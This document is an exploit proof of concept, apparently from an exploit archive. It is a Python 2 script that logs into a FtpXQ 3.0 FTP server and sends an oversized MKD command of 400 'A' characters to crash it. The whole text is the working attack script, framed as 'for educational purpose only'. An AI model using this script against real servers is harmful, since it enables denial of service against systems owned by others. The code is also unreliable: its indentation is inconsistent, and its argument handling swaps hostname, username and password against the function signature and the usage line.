FtpXQ 3.0 - Authenticated Remote DoS



#!/usr/bin/python


banner=(
"*************************\r\n"
"* Exploit Title: FtpXQ authenticated remote Dos "
"* (trial on http://www.datawizard.net/Products/FtpXQ/Setup.EXE) Version 3.0.1 \r\n"
"* Tested on XP sp2 english"
"* Needs write access --> vuln on MKD command\r\n"
"* Vulnerability found by Marc Doudiet\r\n"
"* For educational purpose only\r\n"
"* Proof of concept code\r\n")


import socket
import sys

def Usage():
    print ("Usage: ./ftpxq.py <Username> <password> <host>\n")

string="A"*400

def start(username, password, hostname):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print banner
        try:
            s.connect((hostname, 21))
        print "[-] Connecting to the FTP ..."
        except:
            print ("[-] Connection error!")
            sys.exit(1)
    s.recv(1024)
    s.send('USER '+username+'\r\n')
    s.recv(1024)
    s.send('PASS '+password+'\r\n')
    s.recv(1024)
    print "[-] Sending evil buffer ...\r\n"
    s.send('MKD '+string+'\r\n')

if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    start(hostname,username,passwd)
    print "[-] Exploit seems to work"
    sys.exit(0)